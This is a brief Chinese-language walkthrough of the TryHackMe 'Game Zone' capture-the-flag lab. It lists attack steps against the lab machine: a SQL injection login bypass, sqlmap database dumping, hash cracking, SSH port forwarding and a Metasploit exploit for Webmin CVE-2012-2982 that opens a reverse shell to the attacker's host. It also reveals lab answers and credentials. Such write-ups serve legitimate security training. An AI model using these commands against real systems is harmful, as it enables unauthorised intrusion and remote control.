tryhackme gamezone 渗透测试

1、部署房间 namp常规扫描 有22 80端口

百度识图，动漫人物为杀手47中的agent47

What is the name of the large cartoon avatar holding a sniper on the forum?

ag：agent47

2、在登录界面使用万能密码登录 用户名： 'or 1=1 -- -  密码为空

搜素框有sql注入，bp抓包，用sqlmap跑

sqlmap -r Ganmzone.txt --dbms=mysql --dump 

另一个表 sqlmap -r Ganmzone.txt --dbms=mysql -D=db --tables

使用join对hash密码进行解密 ，得到用户名密码：agent47/videogamer124

3、ssh连接 ssh agent47@10.10.112.19 ,得到user flag

ss -tulpn 查看tcp 连接，5个tcp连接

ssh -L 10000:localhost:10000 agent47@10.10.112.19，将目标系统的10000端口映射到本地10000端口，在访问本地的10000端口，进而访问服务

用户名密码：agent47/videogamer124进行登录，对应cms为webmin1.580,

存在漏洞 ，编号为CVE-2012-2982

使用msf ，搜索漏洞编号，使用对应模块，

search cve-2012-2982
use 0
options //修改对应参数

set payload cmd/unix/reverse
set rhost 127.0.0.1
set lhost 10.11.63.209
set ssl false//10000端口已经转发到我们计算机上的端口 上了

run

在/root下的root,txt为第二个flag